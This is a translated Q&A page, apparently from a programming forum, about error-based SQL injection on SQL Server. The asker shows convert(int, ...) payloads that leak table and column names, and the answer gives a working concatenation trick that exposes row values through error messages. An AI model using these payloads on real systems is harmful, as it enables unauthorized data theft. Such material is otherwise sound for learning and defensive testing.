nvarchar保存“整数”值 - 转换时不报告错误 - SQL注入

时间:2014-12-13 04:49:50

标签: mysql sql sql-server sql-injection

学习sql注入。我在我的网站上发现了一个sql注入。

我可以执行以下查询并检索表名和列名

表名:

convert(int,(select top 1 table_name from information_schema.tables))

Columnames:

convert(int,(select top 1 column_name from information_schema.columns where table_name='customer' and column name not in('id'))



> Table structure:
> 
> id nvarchar custid nvarchar

行:

  

id custid   --------- 1 1000 2 1001

我找到了表的以下结构。

但现在我无法获得行中的值..

尝试:

convert(int,(select top 1 id from customer))--

在此查询中,它不显示任何错误,我无法获取行值。

思想:

eventhough“id”列类型是“nvarchar”它存储整数值,所以转换成int时,不会导致错误??

在这种情况下如何获取行的值?

1 个答案:

答案 0 :(得分:1)

您可以连接非数字字符串,例如convert(int,(select top 1 'id:' + id from customer))--

如果您正在寻找int字段中的内容,请将其强制转换为varchar(10),然后使用非数字字符串连接。

但不要将此用于邪恶......